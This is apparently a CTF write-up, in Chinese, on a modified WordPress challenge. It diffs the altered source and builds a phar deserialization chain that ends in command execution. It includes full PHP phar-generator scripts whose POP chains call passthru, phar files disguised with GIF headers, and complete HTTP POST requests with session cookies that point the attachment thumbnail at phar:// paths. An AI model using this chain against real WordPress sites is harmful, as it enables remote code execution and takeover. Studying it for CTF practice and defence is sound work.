环境构建
Win10+php7.3.4+mysql5.7
解题思路
diff源码
题目给了源码,可以先确定指纹信息。
WP的指纹信息在网页源码中也可以确认
这个框架版本在比赛时是最新的框架,搜了一圈没有先成的漏洞利用,那么就只能从插件漏洞、源码魔改、甚至0day这些方向去思考。
compare之后发现有几个文件是不一样的,这对于同一个版本的WordPress来说是不合理的,只能认为是作者魔改过了,那么就一处处看过去,确定作者想让我们挖掘的攻击面。
wp-admin/includes/class-wp-screen.php
阅读源码,可以大致推断这里似乎删除了身份验证。
wp-admin/includes/file.php
这里增加了文件检测,限制了php文件。
wp-admin/includes/post.php
数组减少了一个参数$file。
wp-admin/post.php
这份文件总共修改了三处,两处做了和上面的wp-admin/includes/post.php一样的操作
这里的$_POST[‘thumb’]参数删掉了wp_basename()函数的处理。
wp-content/plugins
这里总共有四个插件,all-in-one-event-calendar、classic-editor、contact-from-7、wp-user,其中contact-from-7这个插件是可以查到高危漏洞的,版本也符合。
wp-includes/post.php
这里的$file参数也是去掉了wp_basename的处理,换成了basename函数的处理。
wp-includes/Requests/Utility/FilteredIterator.php
这里直接上了一个反序列化的点
攻击面确定
根据魔改过的几个关键词,可以找到利用 phar 拓展 php 反序列化漏洞攻击面这篇文章,里面分析了WordPress的Phar攻击面,其中利用的几个文件跟作者魔改过的文件类似,这是2017年提交的漏洞,在网络上可以大概搜到一些攻击方式,可以初步确认这题是要通过Phar反序列化进行漏洞攻击。
同理,上面提到了插件 contact-from-7 的高危漏洞,这里也是另一种攻击路径,参见WordPress contact_form_7_v5.0.3 插件 权限提升、任意文件读取漏洞分析。
这里作者预期解是通过contact-form-7进行权限提升,将phar写入/tmp/1.log,再利用phar反序列化漏洞执行命令。这里github有现成的poc.js,但是这里的插件作者经过了修改,需要绕过meta_input(会过滤poc的meta_input而无法写入form表单),以至于当时调试的时候没有写入表单,数据没有POST成功,所以这条路没有打通。
如果要做反序列化漏洞,需要找到能利用的魔术方法pop链,并且能上传phar文件。上传文件可以注册一个账号到后台上传,剩下的就是挖掘pop链,也就是代码审计了。
WordPress曾经的pop链挖掘学习
回来看这篇参考文章,利用 phar 拓展 php 反序列化漏洞攻击面,里面pop链方式与该题作者魔改过的地方有几个相同处,可以通过该pop链来重写作者的链,以下内容摘自该文。
寻找任意执行代码点
首先寻找能够执行任意代码的类方法:
在wp-includes/Requests/Utility/FilteredIterator.php
class Requests_Utility_FilteredIterator extends ArrayIterator {
/**
* Callback to run as a filter
*
* @var callable
*/
protected $callback;
...
public function current() {
$value = parent::current();
$value = call_user_func($this->callback, $value);
return $value;
}
}
寻找使用foreach的魔术方法
该类继承自ArrayIterator,返回当前被内部指针指向的数组单元的值,可以通过foreach等数组遍历来触发调用。接下来在WordPress中找到一个使用了foreach的魔术方法。该文献在WooCommerce插件中找到了能利用的类。
wp-content/plugins/woocommerce/includes/log-handlers/class-wc-log-handler-file.php
lass WC_Log_Handler_File extends WC_Log_Handler {
protected $handles = array();
/*......*/
public function __destruct() {
foreach ( $this->handles as $handle ) {
if ( is_resource( $handle ) ) {
fclose( $handle ); // @codingStandardsIgnoreLine.
}
}
}
/*......*/
}
phar,生成后修改后缀名gif上传:
<?php
class Requests_Utility_FilteredIterator extends ArrayIterator {
protected $callback;
public function __construct($data, $callback) {
parent::__construct($data);
$this->callback = $callback;
}
}
class WC_Log_Handler_File {
protected $handles;
public function __construct() {
$this->handles = new Requests_Utility_FilteredIterator(array('id'), 'passthru');
}
}
@unlink("phar.phar");
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub, 增加gif文件头,伪造文件类型
$o = new WC_Log_Handler_File();
$phar->setMetadata($o); //将自定义meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>
触发phar反序列化点
接下来就是寻找一个能触发phar文件反序列化的点,这个点可以是文件操作函数,参数需要可控。
wp-includes/post.php
function wp_get_attachment_thumb_file( $post_id = 0 ) {
$post_id = (int) $post_id;
if ( !$post = get_post( $post_id ) )
return false;
if ( !is_array( $imagedata = wp_get_attachment_metadata( $post->ID ) ) )
return false;
$file = get_attached_file( $post->ID );
if ( !empty($imagedata['thumb']) && ($thumbfile = str_replace(basename($file), $imagedata['thumb'], $file)) && file_exists($thumbfile) ) {
/**
* Filters the attachment thumbnail file path.
*
* @since 2.1.0
*
* @param string $thumbfile File path to the attachment thumbnail.
* @param int $post_id Attachment ID.
*/
return apply_filters( 'wp_get_attachment_thumb_file', $thumbfile, $post->ID );
}
return false;
}
其中关键点在if语句中
if ( !empty($imagedata['thumb']) && ($thumbfile = str_replace(basename($file), $imagedata['thumb'], $file)) && file_exists($thumbfile) )
这里的$thumbfile传入了file_exist函数,根据$thumbfile = str_replace(basename($file), $imagedata['thumb'], $file)
,如果basename($file)
与$file
相同的话,那么$thumbfile
的值就是$imagedata['thumb']
的值。先来看$file
是如何获取到的:
wp-includes/post.php
function get_attached_file( $attachment_id, $unfiltered = false ) {
$file = get_post_meta( $attachment_id, '_wp_attached_file', true );
// If the file is relative, prepend upload dir.
if ( $file && 0 !== strpos( $file, '/' ) && ! preg_match( '|^.:\\\|', $file ) && ( ( $uploads = wp_get_upload_dir() ) && false === $uploads['error'] ) ) {
$file = $uploads['basedir'] . "/$file";
}
if ( $unfiltered ) {
return $file;
}
/**
* Filters the attached file based on the given ID.
*
* @since 2.1.0
*
* @param string $file Path to attached file.
* @param int $attachment_id Attachment ID.
*/
return apply_filters( 'get_attached_file', $file, $attachment_id );
}
如果$file
是类似于windows盘符的路径Z:\Z
,正则匹配就会失败,$file
就不会拼接其他东西,此时就可以保证basename($file)
与$file
相同。
发送如下数据包来调用设置$file
的值:
POST /wp-admin/post.php HTTP/1.1
Host: 127.0.0.1
Content-Length: 147
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer: http://127.0.0.1/wordpress/wp-admin/post.php?post=10&action=edit
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: wordpress_5bd7a9c61cda6e66fc921a05bc80ee93=author%7C1535082294%7C1OVF85dkOeM7IAkQQoYcEkOCtV0DWTIrr32TZETYqQb%7Cb16569744dd9059a1fafaad1c21cfdbf90fc67aed30e322c9f570b145c3ec516; wordpress_test_cookie=WP+Cookie+check; wordpress_logged_in_5bd7a9c61cda6e66fc921a05bc80ee93=author%7C1535082294%7C1OVF85dkOeM7IAkQQoYcEkOCtV0DWTIrr32TZETYqQb%7C5c9f11cf65b9a38d65629b40421361a2ef77abe24743de30c984cf69a967e503; wp-settings-time-2=1534912264; XDEBUG_SESSION=PHPSTORM
Connection: close
_wpnonce=1da6c638f9&_wp_http_referer=%2Fwp-
admin%2Fpost.php%3Fpost%3D16%26action%3Dedit&action=editpost&post_type=attachment&post_ID=11&file=Z:\Z
发送如下数据包来设置$imagedata['thumb']
的值。其中_wpnonce
可在修改页面中获取:
POST /wordpress/wp-admin/post.php HTTP/1.1
Host: 127.0.0.1
Content-Length: 184
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer: http://127.0.0.1/wordpress/wp-admin/post.php?post=10&action=edit
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: wordpress_5bd7a9c61cda6e66fc921a05bc80ee93=author%7C1535082294%7C1OVF85dkOeM7IAkQQoYcEkOCtV0DWTIrr32TZETYqQb%7Cb16569744dd9059a1fafaad1c21cfdbf90fc67aed30e322c9f570b145c3ec516; wordpress_test_cookie=WP+Cookie+check; wordpress_logged_in_5bd7a9c61cda6e66fc921a05bc80ee93=author%7C1535082294%7C1OVF85dkOeM7IAkQQoYcEkOCtV0DWTIrr32TZETYqQb%7C5c9f11cf65b9a38d65629b40421361a2ef77abe24743de30c984cf69a967e503; wp-settings-time-2=1534912264; XDEBUG_SESSION=PHPSTORM
Connection: close
_wpnonce=1da6c638f9&_wp_http_referer=%2Fwp-
admin%2Fpost.php%3Fpost%3D16%26action%3Dedit&action=editattachment&post_ID=11&thumb=phar://./wp-content/uploads/2018/08/phar-1.gif/blah.txt
最后通过XMLRPC调用”wp.getMediaItem”这个方法来调用wp_get_attachment_thumb_file()
函数来触发反序列化。
思路总结
该链挖掘方式是先找到任意代码执行函数,通过能触发foreach的魔术方法调用,最后通过xmlrpc调用函数触发反序列化。那么这题思路也是一样的,这里的任意代码执行点不变,需要找到一个能触发foreach的魔术方法,以及找到能触发文件操作函数的点,由于xmlrpc被删了,我们还需要找到能调用wp_get_attachment_thumb_file()的点。
phar构造
上面说过,任意代码执行点位于 wp-includes/Requests/Utility/FilteredIterator.php
,回想前面Compare的时候删掉了__wakeup
时的unset($this->callback)
,可以直接确定是利用点。
class Requests_Utility_FilteredIterator extends ArrayIterator {
/**
* Callback to run as a filter
*
* @var callable
*/
protected $callback;
...
public function current() {
$value = parent::current();
$value = call_user_func($this->callback, $value);
return $value;
}
}
接下来就是找能触发foreach的魔术方法,根据前面文章提示WordPress中主文件没有符合条件的类,我们注意力可以放在插件中,也就是前面提到的四个插件,其中all-in-one-event-calendar插件中存在__toString符合条件。
public function __toString()
{
$attributes = array();
foreach ($this->attributes as $name => $value) {
$attributes[] = sprintf('%s: %s', $name, str_replace("\n", '', var_export($value, true)));
}
$repr = array(get_class($this).'('.implode(', ', $attributes));
if (count($this->nodes)) {
foreach ($this->nodes as $name => $node) {
$len = strlen($name) + 4;
$noderepr = array();
foreach (explode("\n", (string) $node) as $line) {
$noderepr[] = str_repeat(' ', $len).$line;
}
$repr[] = sprintf(' %s: %s', $name, ltrim(implode("\n", $noderepr)));
}
$repr[] = ')';
} else {
$repr[0] .= ')';
}
return implode("\n", $repr);
}
以及该插件中存在__destruct方法同样也可以,比__toString更好触发
/**
* Destructor
*
* Here processing of globals is made - values are replaced, callbacks
* are executed and globals are restored to the previous state.
*
* @return void Destructor does not return
*/
public function __destruct() {
// replace globals from our internal store
$restore = array();
foreach ( $this->_preserve as $name => $class ) {
if (
! isset( $GLOBALS[$name] ) ||
! ( $GLOBALS[$name] instanceof $class )
) {
$restore[$name] = NULL;
if ( isset( $GLOBALS[$name] ) ) {
$restore[$name] = $GLOBALS[$name];
}
$GLOBALS[$name] = $this->_restorables[$name];
}
}
// execute callbacks
foreach ( $this->_callbacks as $callback ) {
call_user_func( $callback );
}
// restore globals to previous state
foreach ( $restore as $name => $object ) {
if ( NULL === $object ) {
unset( $GLOBALS[$name] );
} else {
$GLOBALS[$name] = $object;
}
}
// destroy local references
foreach ( $this->_restorables as $name => $object ) {
unset( $object, $this->_restorables[$name] );
}
if ( AI1EC_DEBUG ) {
// __destruct is called twice if facebook extension is installed
// still can't find the reason, this fixes it but prevent other plugins
// __destruct() so let's just use it in dev until we fix this.
exit();
}
}
构造phar,这里作者过滤了php,所以使用短标签。
<?php
class Requests_Utility_FilteredIterator extends ArrayIterator
{
protected $callback;
public function __construct($data, $callback)
{
parent::__construct($data);
$this->callback = $callback;
}
}
class Ai1ec_Shutdown_Controller
{
protected $_preserve;
public function __construct($_preserve)
{
$this->_preserve = $_preserve;
}
}
// pop
$ruf = new Requests_Utility_FilteredIterator(array('id'), 'passthru');
$o = new Ai1ec_Shutdown_Controller($ruf);
// construct
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("GIF89a" . "<?= __HALT_COMPILER(); ?>"); //设置stub, 增加gif文件头,伪造文件类型
$phar->setMetadata($o); //将自定义meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
生成的phar文件修改后缀名上传,图片ID为12。
同样利用上面的链,POST提交数据,需要修改_wpnonce和post_ID
POST /wp-admin/post.php HTTP/1.1
Host: 127.0.0.1
Cookie: wordpress_=aurora%7C1629898313%7CB2UVa93rgqrKr4ywVIGoLLdFpLUGxGdKqsSvgEI7SEH%7C51859be6b4a1ec17689b2c32f47363b465a90784568f35f4349811d36fbbf931; UM_distinctid=17a9a08e6d9743-02b8dbd2df4777-d7e1739-1fa400-17a9a08e6da7ab; CNZZDATA5082706=cnzz_eid%3D628858937-1626078343-%26ntime%3D1626078343; wordpress_logged_in_=aurora%7C1629898313%7CB2UVa93rgqrKr4ywVIGoLLdFpLUGxGdKqsSvgEI7SEH%7C2efab257cdda286e556efea974870fffe7975a7a2852e3047a1bc75badfdd89c; wp-settings-time-3=1629726103
Connection: close
Content-Length: 709
_wpnonce=a81720ec34&_wp_http_referer=%2Fwp-admin%2Fpost.php%3Fpost%3D12%26action%3Dedit&action=editpost&post_type=attachment&post_ID=12&post_name=phar&file=D:\aaa
在发一个包,需要修改_wpnonce,post_ID与thumb
POST /wp-admin/post.php HTTP/1.1
Host: 127.0.0.1
Cookie: wordpress_=aurora%7C1629898313%7CB2UVa93rgqrKr4ywVIGoLLdFpLUGxGdKqsSvgEI7SEH%7C51859be6b4a1ec17689b2c32f47363b465a90784568f35f4349811d36fbbf931; UM_distinctid=17a9a08e6d9743-02b8dbd2df4777-d7e1739-1fa400-17a9a08e6da7ab; CNZZDATA5082706=cnzz_eid%3D628858937-1626078343-%26ntime%3D1626078343; wordpress_logged_in_=aurora%7C1629898313%7CB2UVa93rgqrKr4ywVIGoLLdFpLUGxGdKqsSvgEI7SEH%7C2efab257cdda286e556efea974870fffe7975a7a2852e3047a1bc75badfdd89c; wp-settings-time-3=1629726103
Connection: close
Content-Length: 172
_wpnonce=a81720ec34&_wp_http_referer=%2Fwp-admin%2Fpost.php%3Fpost%3D12%26action%3Dedit&action=editattachment&post_ID=12&thumb=phar://../wp-content/uploads/2021/08/phar.gif
触发wp_get_attachment_thumb_file()
接下来就是找wp_get_attachment_thumb_file()
,会发现出题人删掉了xmlrpc.php文件,但是依然可以在别的文件中找到wp_get_attachment_thumb_file()
,该函数分别出现在media.php的image_size_input_fields和image_downsize函数中,这两个都能利用。
跟进后可以在async-upload.php文件中找到了对id赋值的函数,
if ( isset( $_REQUEST['attachment_id'] ) && intval( $_REQUEST['attachment_id'] ) && $_REQUEST['fetch'] ) {
$id = intval( $_REQUEST['attachment_id'] );
$post = get_post( $id );
if ( 'attachment' !== $post->post_type ) {
wp_die( __( 'Invalid post type.' ) );
}
在这里重新传入attachment_id为图片id,以及fetch=3即可。